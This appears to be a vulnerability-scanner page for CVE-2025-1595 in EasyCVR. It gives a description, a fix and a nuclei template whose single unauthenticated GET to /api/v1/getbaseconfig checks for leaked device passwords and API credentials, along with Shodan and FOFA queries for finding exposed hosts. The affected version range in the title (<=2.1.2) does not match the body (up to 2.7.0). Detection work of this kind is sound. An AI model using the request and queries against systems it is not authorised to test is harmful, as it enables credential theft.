EasyCVR <=2.1.2 - Information Disclosure

mediumseverity

5.3CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Impact

Unauthenticated attackers can retrieve sensitive configuration data including device passwords and API authentication credentials through the exposed getbaseconfig endpoint.

Fix

Upgrade to EasyCVR version 2.7.1 or later that restricts access to the configuration endpoint.

How to confirm it

Send: GET {{BaseURL}}/api/v1/getbaseconfig
Positive when: contains "DevicePassword\":" and "APIAuth\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-1595 -u <target>

The full check

id: CVE-2025-1595

info:
  name: EasyCVR <=2.1.2 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Unauthenticated attackers can retrieve sensitive configuration data including device passwords and API authentication credentials through the exposed getbaseconfig endpoint.
  remediation: |
    Upgrade to EasyCVR version 2.7.1 or later that restricts access to the configuration endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-1595
    epss-score: 0.01116
    epss-percentile: 0.6634
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="EasyCVR"
    shodan-query: http.title:"EasyCVR"
    product: easycvr
  tags: cve,cve2025,exposure,easycvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/getbaseconfig"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'DevicePassword":'
          - 'APIAuth":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2025-1595

Use this check only on systems you are authorised to test. Where the data comes from